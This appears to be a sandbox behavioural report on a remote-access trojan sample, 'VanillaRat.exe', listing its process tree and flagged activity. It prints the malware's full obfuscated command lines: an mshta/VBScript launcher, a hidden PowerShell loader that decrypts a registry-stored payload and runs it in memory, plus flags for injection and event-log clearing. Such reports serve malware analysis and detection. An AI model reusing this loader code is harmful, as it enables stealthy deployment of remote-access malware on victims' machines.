- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4700
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1452
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{022663ae-862b-4f38-a00d-dbb525a00dd4}
        5⤵
        
        PID:4076
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d504caaa-c79c-453c-b1bc-18ebb1c7ea53}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3132
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1452).WaitForExit();[System.Threading.Thread]::Sleep(5000); function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3220
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{ec756ae8-5314-4cca-9af8-edd1eb90eafe}
        5⤵
        
        PID:1784
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{384b7751-ac97-498f-b52f-ad379fcc381b}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3024
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{70f4f242-a443-4a22-a078-f94ca82ec1ed}
        5⤵
        
        PID:6612
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{b3372018-fd1f-4b9c-998d-97b33aa5acbb}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6640
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{339bbc9e-4285-411e-96ac-20fb030e4855}
        5⤵
        
        PID:5520
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{e773df86-6fe6-4810-b7f8-c2aa615e2636}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4408
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{420c71f7-7ee7-4613-a4cc-a63ec0aacd4a}
        5⤵
        
        PID:4332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4332 -s 452
        6⤵
        Drops file in Windows directory
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5864
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{8a085641-610b-427f-9256-018d026f60bd}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6980
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 460
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2308
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{6b4b94ba-5618-4a54-88ca-c5c3af5cc13f}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1428
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2224

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2828

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2892

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3340

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3348
- C:\Users\Admin\AppData\Local\Temp\Release\VanillaRat.exe
  "C:\Users\Admin\AppData\Local\Temp\Release\VanillaRat.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -WindowStyle Hidden -command "& {Start-Process -FilePath 'Handlers\Handler.bat' -WindowStyle Hidden -Wait}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
